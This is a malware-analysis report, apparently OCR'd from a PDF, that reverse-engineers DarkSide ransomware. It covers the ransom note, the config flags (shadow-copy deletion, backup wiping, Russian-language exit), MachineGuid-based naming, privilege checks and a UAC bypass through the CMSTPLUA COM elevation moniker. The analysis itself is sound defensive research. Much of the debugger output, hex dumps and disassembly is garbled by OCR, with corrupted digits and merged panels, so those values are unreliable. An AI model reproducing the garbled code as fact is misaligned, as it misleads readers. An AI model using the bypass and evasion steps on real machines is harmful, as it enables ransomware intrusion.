DZ2GEB9FD|(6C 63 6F 6D |65 20 74 6F |20 44 61 72|6B 53 692 64| Tcome to Darksid
DZ2G6EBACOD|( 65 20 5D 20|2D 2D 2D 2D|2D 2D 2D 2D(2D 2D 2D 2D|(e ] ----—-—-—-----—-
026EBAL1O0 | 2D 3E 20 OD(0A 20 20 OD|0A 20 57 6B(61 74 20 68| -> .. .. What h
026EBA20| 61 70 70 65|6E 64 3IF 20|0D OA 20 2D|2D 2D 2D 2D | append? .. --—-——-
0Z6EBA3Z0| 2D 2D 2D 2D (2D 2D 2D 2D|2D 2D 2D 2D|2D 2D 2D 2D|-——-——--—"——"——-—-"—-—————-
0Z6EBA40 | 2D 2D 2D 2D (2D 2D 2D 2D|2D 2D 2D 2D|2D 2D 2D 2D|-——-—-—"———-—-—-"—-—"—"—"——-
0Z6EBASO| 2D 2D 2D 2D (2D 2D 2D 2D|2D 20 OD 0OA|20 59 GF 75| -——-——-———-—-——- -« ¥YOu
026EBAGD |72 20 63 6F|GQ 70 75 74|65 72 73 20(61 6E &4 20(r computers and

026EBATO | f2 60 72 FE|65 72 73 20|61 72 65 20|65 BE 63 72| servers are encr
026EBASD| 79 70 74 65|64 2C 20 62|61 63 6B 75|70 73 20 61|ypted, backups a
026EBASD |72 65 20 64|85 GC 6C 74|65 64 2E 20|57 g5 20 7o |re deleted. we u
026EBAAD| 73 65 20 73|74 72 6F BE|67 20 65 GE|63 72 79 70|s5e strong encryp
026EBABD| 74 69 6F GE|20 61 6C 67 |gE 72 69 74(68 6D 73 2C|tion algorithms,
026EBACD| 20 73 6F 20|79 6F 75 20|63 61 6E GE|6F 74 20 64| s0 wou cannot d
026EBADD| 65 63 72 79|70 74 20 79|6F 75 72 20|64 61 74 61| ecrypt wvour data
026EBAEQ| 2E 20 0D O0A |20 42 70 74120 79 6F 75|20 63 61 6E|(. .. BuUut wou can
O2GEBAFO( 20 72 65 73|74 6F 72 65|20 65 76 65|72 79 74 68| restore everyth
026EBBDD| 69 6E 67 20|g2 79 20 70|75 72 63 68|61 73 69 6E|ing by purchasin
026EBB10| 67 20 61 20|73 70 65 63|69 61 6C 20|70 72 6F 67|g a special prog
DZGEBB20D(72 61 6D 20|66 72 6F 6D |20 75 73 20(2D 20 75 GE|ram from us - un
026EBB30| 69 76 65 72|73 61 6C 20|64 65 63 72|79 70 74 6F|iversal decrypto
02GEBR40( 72 2E 20 54|68 69 73 20(70 72 6F &7(72 61 6D 20(r. This program

DZGEBBSD| 77 69 6C 6L |20 72 65 73|74 6F 72 65|20 61 6C 6C|(will restore all
026EBBGD| 20 79 6F 75|72 20 GE 65|74 77 6F 72(6B 2E 20 OD| wour network. .
DZGEBB7D|0A 20 46 GF|6C BC GF 77|20 6F 75 72|20 69 6E 73|(. Follow our ins
DZGEBBBD| 74 72 75 63|74 69 6F GE|73 20 62 65|6C 6F 77 20| tructions below

nnnnnnnn T T L =l T LI L T T = T i B = ST Y R A [ S 1 e e

Figure 17

The following table describes the actions that the malware takes depending on the configuration decrypted above:

Offset  Enabled Description

0x00 Yes FAST encryption mode
0x01 Yes Unknown (not used)
0x02 No Attempt to log on as a user on the machine

Encrypt DRIVE_REMOVABLE, DRIVE_FIXED and DRIVE_REMOTE

0x03 Yes )

type of drives
0x04 Yes Retrieve the domain controllers and probably an attempt to spread further
0x05 Yes Check system language and avoid the Russian language
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0x06 Yes Delete volume shadow copies

0x07 Yes Delete files and folders from Recycle Bin
0x08 No Self deletion

0x09 Yes Ignore specific directories

0x0a Yes Ignore specific files

0x0b Yes Ignore specific file extensions

0x0c Yes Wipe “backup” directories

0x0d Yes Unknown (not used)

0x0e Yes Kill specific processes

0x0f Yes Stop and delete specific services
0x10 Yes Set Desktop wallpaper

0x11 Yes Drop ransom note

0x12 Yes Change icon of new encrypted files
0x13 Yes Create a mutex

0x14 Yes Unknown (not used)

0x15 Yes Communication with the C2 servers

The malware uses the NtQueryInstallUILanguage and NtQueryDefaultUILanguage APIs to determine the language of
the system and compares the result with 0x419 (Russian language identifier). If there is a match between these two

values, then the malware exits:
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il s 5

Ltext: 88483811
Ltext:ee483811
Ltext:00483811 ; Attributes: bp-based frame
Ltext:ee4a3ell
.text:8084830811 sub_ 483811 proc near
text:eedasell
.text:80403011 Languageld= word ptr -3
Ltext:eadasell
.text:88483811 push ebp
Ltext: 00483812 mov ebp, esp
Jtext:e0483014 add esp, BFFFFFFF&h
Jtext:00483817 push ebx
Jtext:00483818 push ecx
Jtext:08483819 push edx
Jtext:e848301A push esi
Jtext:ee483018 push edi
Ltext:0048301C lea eax, [ebptlLanguageld]
text:@848301F push eax ; LanguageId
.text:8848308268 call NtQueryInstallUILanguage
Ltext: 80483026 mov esi, dword ptr [ebp+lLanguageId]
Ltext: 08483029 lea eax, [ebpt+lLanguageld]
Ltext:8848382C push eax ; LanguagelId
Ltext:0048382D0 call NtQueryDefaultUILanguage
Ltext: 00483833 mov edi, dword ptr [ebp+Languageld]
Ltext: 88483836 mov ebx, 1
Jtext:e8483838 shl ebx, @ah
Jtext:8848383E xor bl, 1
Jtext:eade3e4l shl bl, 4
Jtext:88483844 xor bl, 9
Jtext:es483047 cmp by, si
Jtewt:eadszeqn jz short loc_483851
11
[l s =]
.text:9848384C cmp bx, di
.text:8040384F jnz short loc_483856
- T
Ltext:eedasase
Jtext:00483056 loc_483856:
Ltext: 88483856 xor bl, 3Bh
Jtext:88483859 cmp bx, si
Jtext:eaq83e5C jz short loc_483863
1
I v
Figure 18

There is a call to the RegCreateKeyExW function, which is supposed to create (or open if it already exists) the

“Software\Microsoft\Cryptography” registry key, as follows:

50 push eax

8D 45 FC lea eax,dword ptr ss:[Jebp-4]
50 push eax

64 00 push 0

65 19 01 02 00 push 20119

6A 00 push 0

6A 00 push 0

GA 00 push 0

56 push esi

68 02 00 00 80 push 80000002

FF 15 EC 07 42 00 call dword ptr ds:[<&RegCreateKeyExws]

.TEXT:00401E65 darkside.exe:$1E65 #1265

Kuslagnura Feee
X87TW_0 3 (Empty)
x87TW_2 3 (Empty)
x87TW_4 3 (Empty)
x87TW_6 3 (Empty)

xg7statusword 0000
XxB7SW_E 0 xB7SW_C3 0 xB75W.C2 0

X87TW_1 3 (Empty)
x87TW_3 3 (Empty)
X87TW_5 3 (EmpTy)
x87TW_7 3 (Empty)

dword ptr [004207EC <darkside.&RegCreateKeyExw>]=<advapi32.RegCreateKeyExn>

4% Dump 1

@ioump2 W Dump 3

Wyoump4  @oumps @ watch1 [*=] Locals (5}:’ Struct

esi:l X875W_C1 O X87SW_CO O X87SW_ES O

XB7SW_SF O XB7SW_P 0 x87SW_U o
v
>

Defauit (stdcal) ~ |5 [0 unke
1: [esp] 80000002
2: [esp+4] DZ6E4D10 L"SOFTWARE\\Microsoft\\Cr)
3: [esp+s] D0000DDO
1: [esp+C] D0000DDO

Address

Hex

53 00 4F 00
5C 00 4D 00
66 00 74 00
6F 00 67 00

46 00
69 00
5C 00
7z 00
Al

Figure 19

54 00[SZ 00 41 00

63 0
43 0
61 0
AB AB|00 00 00

75 00

52 00
73 00
70 00 7
79 00
00 00

E.
00 0.
i

00
00
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The malware extracts the “MachineGuid” value from the above registry key, as presented in the next figure:

- s hen et e = s e e = s
7 5 Webp- XB7TW 4 3 (Empty) X87TW.5 3 (Empty)
?EU) 85 70 FF FF FF lsgheggédwurd ptr ss:[lebp-30Q8 XB7TW_6 3 (EmpTy) X87TW_7 3 (EmpTy)
8D 45 F8 lea eax,dword ptr ss:lfebp-si
50 push eax x87statusword 000D
6A 00 push o XB7SW_B O x87SW.C3 0 xB7SWC2 0
57 push edi edizl X87SW_C1 0 X87SW_CO 0O X87SW_ES 0
FF 75 FC push dword ptr ss:[febp-4] XB7SW_SF 0 xB87SW_P 0 x87SwW_U 0
EIP, FF 15 F4 07 42 00 €all dword ptr ds:[<&RegQueryvalueExw-] v
>
Gword ptr [00D4207F4 <darkside.&RegqueryvalucExws]=<advapi3z.RegQueryvalicEnn Default (stdeal) =[5 B0 unk
1: [esp] D00OOZEC
2: [espt4] 026E4DEB L'MachineGuid”
.text:00401EA2 darkside.exe: S1EAZ #1242 3: [esp+8] 00000000
4: [esptC] OOLSFEE4
Woump ! @oumpz  Wloump3  Wloumps  WWoumps | @ watch1  Drellocsls 4P Struct e —
ump ump ump ump ump 2 Wa r=llocals 4 Stru DD19FE34| D2GE4DES | L"MachineGuid”
0019FE38
33225320 ;'ann 4F 00|46 0D 54 00|57 : 52 00 45 nnlgsglé T.W.A.R.E ! " || ooxsreac| ooisrees
w‘_ RS A 0D19FE40 | D019FESC
026E4D20(5C 00 4D 00|63 DD 63 00|72 00 6F 00|73 00 6F 0D[\.M.i.c.r.o.s.o.
sl e sl e R BRI b e el e 0019FE43 | 00197EED

Figure 20

| address | Hex | AscIz |
O019FEEE | 19 00 00 BD B2[40 00 BD B2|....2..¥..% 6.%"
O019FEFE | 40 00 00 00 30|20 00 FF FF|@.%=@.%%a..0-.VV
0019FFOE o0 33 00|31 oo 39 oo . =.:1.5.
O019FF1E 00 20 00|34 00 66 0O|-.2.8.0.c.-.4.T.
0019FFZE 00 64 00|34 DO 2D 00|1.1.-.9.4.d.4.-.
O019FF3E 00 61 00|34 00 39 00|d.3.6.9.0.4.4.9.
DOL9FF4E o0 Bp e2|40 00 00 20| . . :c2. .0

Figure 21

A custom hashing algorithm that generates 8 lowercase hexadecimal characters is implemented by the process (the

“MachineGuid” value is the input, and the algorithm applies 8 times):

earr push FFFEFFFF T : e S e )
FF 75 OC push dword pt E<bp+c]) & EIP 00401043 darkside. 00401049
FF 75 08 push dword pt E<bp-+si [ebp-
EIP E8 52°FF FF FF call darkside. 00: EELAGS 00000246
S50 push eax ZF 1 PF1 AF O
FE 75 0C push dword ptr Eebp+cl) ST iio e
FF 75 08 push dword pt E=bp-+5il [ebp-
E8 46 FF FF FF €all darkside 00 CERITE RIS
01 03 add dword ptr : [ebx],eax
50 push eax LastError 00000000 (ERROR_SUCCESS)
FF 75 0OC push dword pt Eebp+cl] LastsStatus 00000000 (STATUS_SUCCESS)
FF 75 08 push dword pt Eebp+5il [ebp-
E8 38 FF FF FF €all darkside. 401000 GS 0028 FS 0053
o1 43 02 addhdword ptr ds: [ebx+2],eax ES 002E DS 0028
push eax €s 0023 0028
FF 75 OC push dword ptr Eebp+cll a2
Eg 2; Eg i E:ﬂ‘ ggfj;giggq ogghp"’] ebp x87r0 00000000000000000000 STO Empty O.0000000C
S I CheDrel DT T LeBReA]. ek X87r1 00000000000000000000 ST1 Empty 0.0000000C
50 push eax = ;] X87r2 00000000000000000000 STZ EmMpTy O.0000000C
BF 75 0C push dword pr x87r3 00000000000000000000 ST3 Empty 0.0000000C
FF 75 08 push dword pt B [ebp- [ X87r4 00000OONOO0DO0OO000DD ST4 Empty 0.0000000C
E8 1A FF FF FF €all darkside. 401000 - X87rs5 00000000000000000000 STS EmMpTy O.0000000C
01 43 06 add dword ptr ds:[ebx+6],eax x87r6 00000000000000000000 ST6 Empty 0.0000000C
50 push eax X87r7 00000000000000000000 ST7 Empty 0.0000000C
FF 75 OC push dword pt Eebp+cll .
€5 0B £F FF FF Bl Garksieraviong it || ezremord cree
. x87TW_0 3 (Empty)  xB87TW_1 3 (Empty)
01583 08 gﬂg dword ptr ds: [ebx+5],eax XB7TWZ 3 (EmPLy)  XE7TW_Z 3 (EmPTy)
5 e x87TW_4 3 (Empty) xB7TW_5 3 (Empty)
nos B Sea £r e Rgey b | NETTACE 3 (o) e 3 (Enen
E8 FC FE FF FF €all darkside. 401000
01 43 DA add dword ptr : [ebx+A] ,eax x875tatusword 0000
50 push eax x87SW_BE 0 x37SW_C3 0 x87SW_C2 0
FF 75 0C push dword pti Bebp+CJ) ’ X87SW_C1 0 X87SW_CO 0 X87SW_ES 0
FE 75 08 push dword pt E=bp-=] [ebp- | x87SW_SF 0 x87SW_P 0 x87SW_U 0
. E8 ED FE FF FF €all darkside. 5 I v x87SW 0 0 xa7sw 0 _x87SWD 0
.
< >
AR ES i DADO0D) Default (stdcall) = [] Unlock
1: [esp] OO19FFOE L"
2: [esp+4] 00000048
L TEXT: 00401043 darkside.exe: $10A9 #4A9 3: [esp+8] FFFFFFFF
4: [esp+c] 00203000

<) 0019FFOE | L" 19-280c-4F11-24d4-d3620a4 M
Youmpt  Woump2  U4Dump3  Wpump4  Wuoumps @ watch1  Pellocal P Stuct D el i & =
landrase ThHav TaarTT T . || DO19FEDC | FFFFFFFF

Figure 22

Address | Hex ASCII
004103E4 | 2E 00 39 IIII:I|35 00 34 00|65 00 62 IIII:I|3‘EI' 00 30 0OD(R.9.5.4.e.b.9.0.

004103F4(30 00 0O OO|O0 OO OO OO|OQ OO OO0 OO|O0 0D OD OO|D. . iveeencanans

Figure 23
The value computed above (let’s call it RansomPseudoValue) will be used in the following constructions:

e Service name: <RansomPseudoValue>

e Service display name: <RansomPseudoValue>

e Ransom note: README<RansomPseudoValue>.TXT

o Wallpaper: %PROGRAMDATA%\<RansomPseudoValue>.BMP

e Each encrypted file will have the following name: <Original filename><RansomPseudoValue>
e Icon file: %PROGRAMDATA%\<RansomPseudoValue>.ico
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e Registry key created: HKCR\<RansomPseudoValue>\Defaulticon=%PROGRAMDATA %\

<RansomPseudoValue>.ico

The binary uses the SHTestTokenMembership API to verify if the user belongs to the Administrators groups (0x220 =

544 in decimal):

68 20 02 00 00
64 00
FF 15 CO 08 42 00

XB7SW_C1 0 x875W_CO 0O XxB7SW_ES 0O
XB7SW_SF 0 XS87SW_P 0 XB7SW.U O
v | XB7SW O 0 x&75W 0 X87SWD 0

>
Defauit (stdcall) >[5 B0 unk

push 220
push 0
call dword  ptr st [<eSHTes tTokenMembership>]

dword ptr [004208CO <darkside.&SHTesTTi hip>]=<she1132.SHTestTokenmembership>
1: [esp] 00000000
2: [esp+4] 00000220 i

. text: 00401F31 darkside.exe: $1F91 #1391 3: [esp+B] 00404172 darkside.0040A172
4: [esp+C] OOL9FF4

00000000
D019FFE8 | 00000220

Woumpi  oump2 @Mbump3  @Whoumps  Wloumps @ watch1  Deellocals @ struct

Figure 24

We’ll split the analysis into 3 different parts depending on the user’s privileges: low level privileges, administrative

privileges, and SYSTEM privileges.
Low Level privileges

The malware attempts a UAC bypass that uses the CMSTPLUA COM interface as described at
https:/gist.github.com/apiOcradle/d4aaef39db0d845627d819b2b6b30512. It utilizes ZwOpenProcessToken to open the
access token associated with the process (0x8 = TOKEN_QUERY - required to query an access token):

50 push eax

6A 08 push &
6A FF push FFFFFFEE
FF 15 DO 06 42 00

€all dword ptr 5T [<aZwopenProcessTokens]

X87SW_B O XB7SW_C3 0 x87sw.C2 0O
X87SW_C1 O xB7SW_CO O x875W_ES O
X87SW_SF O XB7SW_P 0 X875W_U o
¥ x375W 0 O xB7SW 0 X875W D Q
>
Default (stdcal) |5 =0 o

-text:00402199 darkside.exe:$2199 #1599

dword ptr [004208D0 <darkside.&ZwOpenProcessToken»]=<ntdll.ZwOpenFrocessTokens

+ [espl
: [espr4] D00O0OOODE

: [esp+C] 0040B2BD <darkside.eEntryPoint>

il
2
3: [esp+8] 0DO019FF60
4

Woumpi  @hpumpz  WHpump3s  @loumpa  @doumps @ watch 1

1x=] Locals

& struct

FFFFFFFF
0019FF3C
= oo19FF 40| oo19FFE0

TacrsT

addracze | uav

Figure 25

The NtQueryInformationToken function is used to get the group accounts associated with the token (0x2 =

TokenGroups) and it checks if the administrators group can be found in the TOKEN_GROUPS structure:

50 push

FF 75 F4 push E=bp-cll

FF 75 FO push Bebp- 100

64 02 push 2

FF 75 F push dword ptr ss:[febp-g]
FF 15 BC 06 42 00 call dword ptr d

85 CO test eax,eax

[<&NtqueryInformationTokens]

X8/ IW_6 3 (EMPTY)

x875tatusword 0000

X87SW_B O X87SW_C3 0O
X87SW_C1 O X87SW_CO O
X87SW_SF O x875W_F O
¥ | x875W O 0 x375W 0

X8/ 1W_/ 3 [EMPTY)

X87SW_CZ O
X87SW_ES O
X87SW_U D
XB7SWD 0

Default (stdcal))

dword ptr [004206BC <darkside.&NtQueryInformationToken>]=<ntdl1.NtQueryInformationToken>

.Text:004021E5 darkside.exe:$21E5 #15E5

~ |[5_]07 unlecks

1: [esp] 00000270
2: [esp+a] 0D0D00OZ
[esp+8] 026ECEDS

3:
4: [esp+C]_00000158

Woump1  Wpump2  @WDump3  EWDump4  @houmps &P watch 1

Ir=llocals 4 Struct

00000270
0019FF34 | 00000002

Address | Hex | AscIT
026ECEDS 00/ 00 00 D0[D0 DO DO DO[00 00 0O DO[00 00 00 DO{R...........

Figure 26

A

0D019FF38 | 026ECEDS.
0019FF3C | 00000158
0019FF40 | 0019FF5C

There is a call to the Colnitialize routine in order to initialize the COM library on the current thread, as highlighted in

figure 27:

e P s e push b
FF 15 98 08 42 00
3D 4F 05 00 00

amp_eax,54F

call dword pt

FIdsT[<&CoInitializes]

X87SW_SF O XS7SW_P
XB7SW O 0 XA7SW

‘ v

XB7TSW_CL 0 XxB7SW.CO 0 XB7SW_ES 0

0 X87SW_U 0

0 XB7SWD 0

>
Default (stdcall)

dword ptr [00420898 <darkside.&colnitialize>]=<olesz.Colnitializes

.TEXT:00402786 darkside.exe:$2786 #1836

“ T G0

1: [esp] 00000000
2: [esp+4] 00000000
3: [esp+8] 00000001
4: [esp+C] OD1SFFTC

Figure 27

IERFETEE 00000000 |

As presented so far, the binary uses a lot of lower level APIs (from ntdll). It allocates a new memory area using the
ZwAllocateVirtualMemory API (0x3000 = MEM_COMMIT | MEM_RESERVE and 0x4 =
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PAGE_READWRITE

.text: 00402583 darkside.exe:$2583 #1983

6A 04 push 4 S e R
68 00 30 00 00 push 3000 x87TW_2 3 (Empty)  x87TW_3 3 (Empty)
8D 45 FC lea eax,dword ptr ss:[febp-4J X87TW_4 3 (EMPTY)  M&7TW.S 3 (EMPTY)
= Eri e X87TW_6 3 (Empty) Xx87TW_7 3 (Empty)
GA 00 push 0
&8 8C 09 42 00 push darkside.42093C x875tatusword 0020
GA FF push FFFFFFFF XB7SW_E 0 XB87SW_C3 0 XS7SW.CZ O
FF 15 D8 06 42 00 call dword ptr dsi[<4zwAllocatevirtualMemory>] X87SW_CL 0 X87SW_CO O X87SW_ES O

00402589 83 3D & 09 42 00 00 cmp dword ptr ds:[42098C],0 X87SW_SF 0 XB7SW_P 1 XS7SW_U O

00402520| ~ OF 84 18 01 00 00 je darkside.4026AE v

2eEe 2Aee . = =
< >
dword ptr [004206D8 =darkside.&ZwAllocatevirtualMenorys]=<ntdll.ZwAllocatevirtualienorys 'ie'—a“‘t(s"da'n - |[5 1200 unleck

[espl )
2: [esp+4] 0042098C darkside.0042098C
3: [esp+8] 00000000
[esp+C]_0019FF54

YWoump1  @lpump2  @Moump3  @Houmpa  @oumps @ watch1  ellocals 7 Struct darkside.0042098C
00000000

Address | Hex |AscIT I ™ || oo19FF34 | D019FFS 4

O019FEE4| 00 00 00 Uu|g_u_u_u_m_u_u DS CE &t 02]02 00 00 00 04N, SaEnII i

0019FEF4 | 2E_EE 19 00(00 00 00 001G EE 1900

atecane it § o o BrteRER e T ‘0019FF3C | 00000004

Figure 28

We have encountered a call to an undocumented API function called LdrEnumerateL.oadedModules:

.Lext:004026A8 darkside.exe: $26A8 #1AAB

i 00402640 53 push ebx
! 004026A1 68 18 25 40 00 push darkside.402518 x87Statusword 0020
i 00402646 64 00 push o XB7SW_B O XB7SW_C3 0 x87SW.CZ O
- FF 15 FO 06 42 00 call dword per ds:[<&LdrEnumerateloadedmodules>] XB7SW_C1 O XB7SW_CO O X87SW_ES O
b 004026AE 5F pop edi XB7SW_SF O XB7SW_P 1 X87SW. U 0O
004026AF 5E pop esi v
< >
dword ptr [004206F0 * b*l=<ntdll.LdrEnumerateLoadedModul es> Defauit (stdeal) = |[s_[#]07 urieck
1: [esp] 00000000
2: [esp+4] 00402518 darkside.00402518

3: [esp+8] 00203000
4: [esp+C] 0040B28D <darkside.EntryPoint>

Woump1  gMoump2  WMDump3  Wloump4  WMoumps @ wawhi  Illocas ¢ Stuct

darkside.00402518

O0019FF38| 00402518
-l oo19FF3C

addrass | uev lasrTT 1

Figure 29

The file executes CoGetObject with the object name as Elevation: Administrator!new:{3E5FC7F9-9A51-4367-

9063-A120244FBEC7}, as highlighted below:

00402748 FF 75 08 push dword ptr ss:[Jebp+s]

53 push ebx

8 45 DC Tea eax,dword ptr ss:[febp-z4]

50 push eax

8D 85 D4 FD FF FF Tea eax,dword ptr ss:[Jebp-22C]]
00402756 50 push eax

FF 15 AO 08 42 00 €all dword ptr ds:[<ecoGetobjects]

x87TW_6 3 (Empty)  xB7TW_7 3 (Empty)

x87statusword 0020

dword ptr [004208A0 <darkside.&CoGetObject>]=<0le32.CoGetOb]ect>

.TeXT:00402757 darkside.exe:$§2757 #1B57

eax:!| X87SW_B O XB87SW_C3 0 XxB7sw.Cz O
X875W_C1 O x875W_CD0 O xB7SW_ES 0O
eax:l X87SW_SF O x87SW_P 1 x87SW_U o
M, JS SW O 0O X8 \SW 0 _XB7SW D 1]
> [
Default (stdcall) ~|[5_[2]0] unlodk
1: [esp] 0019FD28 L"Elevation:Administrator Inew
2: [esp+4] O0D19FF30
3: [esp+8] 026E9100
4: [esp+C] D019FF60

Address | Hex -
Figure 30

IaH
o

AC1B7 CA CE 7AlN@ BF C3 Ar | ®mn Ruh. 3t

Basically, it will relaunch the malware with SYSTEM privileges:

L"ETevation: Administrator Inew: {3E5FC7F9-9A51-4367-9063-A120244FBECT 1~

0D019FD28
Woump 1  @pump2  @Dump3  Whoump4  WHoumps @ watch:  x-Moki'Go19rD05| 0019FF 20
| AscIT 0019FDOC | 026E9100

0019FD10| DD19FF 60

6A 00 push 0 g x87TW_6 3 (Empty)  x87TW_7 3 (Empty)
6A 00 push 0
64 00 push 0 x875tatusword 0020
56 push esi X87SW_B O xB7SW_C3 0 xB7SW.C2 O
FF 33 push dword ptr ds:[ebx] [ebx; X87SW_C1 O X87SW_CO O XB7SW_ES O
FF 75 F8 push dword ptr ss:|febp-s] X87SW_SF 0 XB7SW_P 1 xB75W_U o
EIF, FF 52 24 call dword ptr ds:[edx+24] [Ed® v | xa7sw 0 0 x 0 X87SWD O
5 |
dword ptr [edx+24]=[6FFALL4C <Cmlua.&0DjectStublessC1ientds J=<cniua.0bjectstublessclientos 'iiﬁ‘;'t‘:“;“;nz“”x =[5 )00 unie
: [esp.
2! [esp+4] 026E9108 L"C:\\users'\JE \Desktop\\
.Text:00402802 darkside.exe:$2802 #1c02 3: [esp+8] 00000000
4: [esp+C] 00000000
" . . . . = 026F999C
hoump:  Woump2  Wloumps  Woumps  Whoumps @ watch1  e=MoklGoTERENE] b2eEo108 | Lcs\\User s\ M\ \Desktoph \darks de. exc®
Address | Hex [ ascIT
026E9100 (08 91 CE 02 gU 00 QU 00|43 00 3A 00/5C 00 55 00|L.nNn. D019FFSE | 00000000
e e | PR EE|£5 SoHIonasiap ﬁ i 0019FF5C | 00000000
Figure 31
v ¥¥ x32dbg.exe 5276 ASLR  High 7847 B DEskTOP x64dbg
[ darkside.exe 5836 High 211 me  peskToR I
ProcessHacker.exe 2116 ASLR  High 0.86 1261 M8 DEsKTOR- Process Hacker

Figure 32

Administrative privileges
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As in the first case, the binary uses ZwOpenProcessToken to open the access token associated with the process (0x8 =

TOKEN_QUERY - required to query an access token):

00401FAB 50 push eax XB7SW_CL 0 XB7SW_CO O x875W_ES 0
00401FAC €A 08 push 8 XB7SW_SF 0 XB7SW_P 0 X875W. U 0
D0401FAE 64 FF push FFFFEFFF B -

15 DO 06 42 00 call dword pTr ds:[<&ZwopenProcessTokens]

~|[5 2] 0 uniock

v
Defauit (stdcall)

esp]

espra] 00000008

esp+8] O0L9FFG4

esp+C]_0040BZED <darkside.EntryPoint>
esp+10] 00408280 <darkside.EntryPoint>

dword ptr [004206D0 <darkside.&ZwOpenProcessToken>]=<ntd11.ZwOpenProcessToken>

e

.TEeXT:00401FB0 darkside.exe: §1FBD #1380

[ FFFEEF
@Woump1  @pump2  @Yoump3  Whpump4  @WhpDumps @ wiatch1i  Gellocals | ¢ Struct DOLSFEGC | 00DDDDDS
Frr—— Tacrer T Tl oo19FE10 | O019FFE4

Figure 33

The NtQueryInformationToken API is utilized to retrieve the token’s user account (0x1 = TokenUser):

push eax
C push zC x87Statusword 0000
CO FE FF FF Tea eax,dword ptr ss:[febp-140] XBTSW_E X87SW_C3 O XB7SW_CZ O
push eax XB7SW_C1 O xB87SW_CO O XB7SW_ES O
push 1 0 xB7SW_U 0O

XB7SW_SF O xB7SW_P

push dword ptr ss:
call dword ptr ds:

Eebp-4]
[<aNtQueryInformationTokens]

FC
BC 06 42 00

~ |[5 2]0 unlock

= i
Default (stdcall)

1: [es| 20000270
dword ptr [004206BC <darkside.&NtQueryInformationToken>]=<ntdll.NtQueryInformationToken> 2: Eesgl,. 00000001
3: [esp+8] DO19FE28
b 1: [esp+C] 0000002C
. TEXT:00401FD3 darkside.exe: $1FD3 #1303 5: [espt+lDd] ODL9FES4
& 0
Woump1  @Woump?  Whpump3  @Moump4  @loumps @ watchi  ellocals 47 Stuct DO19CEO4 | 00000001
0019FED8 | D019FE28
.Sndress Hex N |JF”\111 . | I~ | 3o15rE0c
s Gl LD RN R e FEE S = P 7 B T | | oo13¢10| 0019FES

Figure 34

The malicious process uses LookupAccountSidW to obtain the name of the account associated with the SID provided

as the input, as shown in figure 35:

®|| 00s01FFF 50 push eax : N Smtopit e
o|| 0030200 8 45 FO Tea eax,dword ptr ss:[febp-10] sl Eégzgg el Eémggg
o[ oc 50 push eax = =
S = x87TW_4 3 (Empty) xB7TW_5 3 (Empty)
: ?3 85 FO FE FF FF ;S:he::;dwnrd ptr ss:[febp-110§ X87TWE 3 (Empty)  x87TW.? 3 (Empty)
. 8D 45 F4 Tea eax,dword ptr ss:[ebp-cJ
. 50 push eax x87statusword 0000
. 8 85 70 FF FF FF Tea eax,dword ptr ss:[ebp-20 XS7TSW_B O XB7SW_C3 0 XB7SW.CZ O
L] 50 push eax X87SW_C1 0 XB7SW_CO 0O XB7SW_ES O
L] FF 36 push dword ptr ds:[esi] X87SW_SF 0 XB7SW_P 0  xB7SW_U o
. 6A 0O push 0
EIP FF 15 E4 07 42 00 call dword ptr s [<&LookupAccountsidws] v
. e —— = 5 | Defoult (stdcal) +|[s E]Ounk
1: [es
dword ptr [004207E4 <darkside.&LOOKUPACCOUNTSIdW-]=<advapi32. 00KUPACCOUNTST dw> Esg]f.,] ODL9FE3D
esp+8] OO1SFEDS
4 esp+C] DO19FF5C
.text:0040201A darkside.exe:$201A #141A 5: [esp+10] 0D19FESS
[ ‘00000000
Woump1  @loumpz  @ipump3  @oumps  @loumps @ wath1  bellocals & stuct '001SFDFC | 0019FE30
Addi D013FECO | O013FEDS
001;::25 0;““0 E9 DI|FE FF FF FF|24 EF 19 000D FA 01 77 ST it OUIEEDS o0 JEESE
4 77 | . PEURYYYSY. . . U.W 0019FE0S | 0019FESS
0019FEDS8 BD_B2 4 00 00 00 00|Bel. @l.%=e. O019FEOC | D019FF58
0019FEEB | Z 3E 8¢ 2|20 00 00 00|20 02 OO0 00|00 00 00 00|p=>T. ... «..uunn O019FEL0 | DO19FFE0

Figure 35

There are 3 different comparison operations that compare the domain name (the name of the computer in our case)
with “NT AUTHORITY”, “AUTORITE NT” and “NT-AUTORITAT” (basically, it tries to determine if the user
account is SYSTEM or not):
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Ltext:0848203C call _wcsicmp

Ltext: 88482042 add esp, B
LSdexteed4e2e45 test eax, eax

Ltext: 08482047 jnz short loc_482858

| 1
lull s =

Jtext:eedaese

Ltext:ee4e2058 loc_402058: i P

.text: 88482858 push edi

.text:8e482851 push e ; Flags
.text:88482853 push HeapHandle ; HeapHandle

.text:88482859 call RtlFreeHeap
.text:8848285F push offset unk_48E@3F
.text:00402864 call Alloc pecrypt

.text: 80402069 mov edi, eax
.text:e8482068 push edi ; 5tr2
.text:8840266C lea eax, [ebpt+Strl]
.text:88482872 push eax ; 5trl
Ltext: 88482873 call _wcsicmp
Ltext:8e482079 add esp, 8

CTdextieedd2e7C test eax, eax
.text:8840267E jnz short loc_482887

L

Lext:8e482a8s87

Ltext:88402087 loc_482087: i P

Ltext: 88482887 push edi

Ltext: 88482888 push ] ; Flags
Ltext: 88482884 push HeapHandle 3 HeapHandle

Ltext: 88482698 call RtlFreeHeap
.text:88482896 push offset unk_ 48EBSB
Ltext: 88482098 call Alloc_Decrypt

Ltext: 80402000 mov edi, eax

Ltext: 884820842 push edi 5 5Er2
Ltext: 88482043 lea eax, [ebpt+Strl]

Ltext: 88482049 push eax ; Strl
text: 08482084 call _wcsicmp

Ltext: 88482080 add esp, 8

Ldext:eede2083 test eax, eax

Ltext: 88482085 jnz short loc_4828BC

Figure 36

The OpenSCManagerW routine is utilized to establish a connection to the service control manager:

€8 3F 00 OF 00 push FO03F T X875W_C1 O XB7SW_CO O X87SW_ES 0
6A 00 push 0 X87SW_SF 0 x87SW_P 0 x87SW_U 0
6A 00 push 0 =
FF 15 F8 07 42 00 call dword ptr ds:[<e0penscManageris] vl 2
T————— i 5 | Default (stdcall) ~|[5_12]J unock
1: [es
dword ptr [004207F8 <darkside.&OpenscManagerw-]=<advapi3z.0OpenscManagerws 2: Eesgm] 00000000
3: [esp+s] 000FOO3F
. . ’ : [esp+C] 00000000
.TexT: 00402969 darkside.exe:$2969 #1D69 5: [esp+10] 00000000
3 00000000
@oumpt  Ypumpz  @Hoump3  WWDump4  WWDumps  ® wath1  Ix-llocas | & Stuct @mun“ 50000000
[address THex lascTT T | « | D019FF5 8| 0O0FOO3F

Figure 37

The process tries to open a service called <RansomPseudoValue> (which doesn’t exist at this time):

